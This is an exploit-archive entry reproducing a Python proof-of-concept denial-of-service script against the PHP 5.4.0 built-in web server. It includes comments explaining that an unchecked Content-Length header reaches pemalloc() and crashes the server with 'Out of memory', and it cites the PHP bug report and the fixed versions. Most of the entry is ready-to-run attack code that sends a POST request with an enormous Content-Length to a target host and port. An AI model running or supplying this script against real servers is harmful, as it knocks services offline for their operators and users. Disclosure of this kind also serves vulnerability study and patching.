发布 2012-03-25 漏洞条目

PHP 5.4.0 Built-in Web Server – Denial of Service (PoC)

Exploit Source

#!/usr/bin/python

# Title: PHP 5.4.0 Built-in Web Server DoS PoC

# Date: 16 March 2012

# Author: ls (contact@kaankivilcim.com)

# Reference: https://bugs.php.net/bug.php?id=61461

# Comments: Fixed in PHP 5.4.1RC1-DEV and 5.5.0-DEV

# The value of the Content-Length header is passed directly to a pemalloc() call in sapi/cli/php_cli_server.c

# on line 1538. The inline function defined within Zend/zend_alloc.h for malloc() will fail, and will terminate

# the process with the error message "Out of memory".

# 1537 if (!client->request.content) {

# 1538 client->request.content = pemalloc(parser->content_length, 1);

# 1539 client->request.content_len = 0;

# 1540 }

# PHP 5.4.0 Development Server started at Tue Mar 13 19:41:45 2012

# Listening on 127.0.0.1:80

# Document root is /tmp

# Press Ctrl-C to quit.

# Out of memory

import socket, sys

target = "127.0.0.1"

port = 80;

request = "POST / HTTP/1.1\n"

request += "Content-Type: application/x-www-form-urlencoded\n"

request += "Content-Length: 2147483638\n\n" # <-- Choose size larger than the available memory on target

request += "A=B\n\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:

s.connect((target, port))

except:

print "[-] Connection to %s:%s failed!" % (target, port)

sys.exit(0)

print "[+] Sending HTTP request. Check for crash on target."

s.send(request)

s.close()

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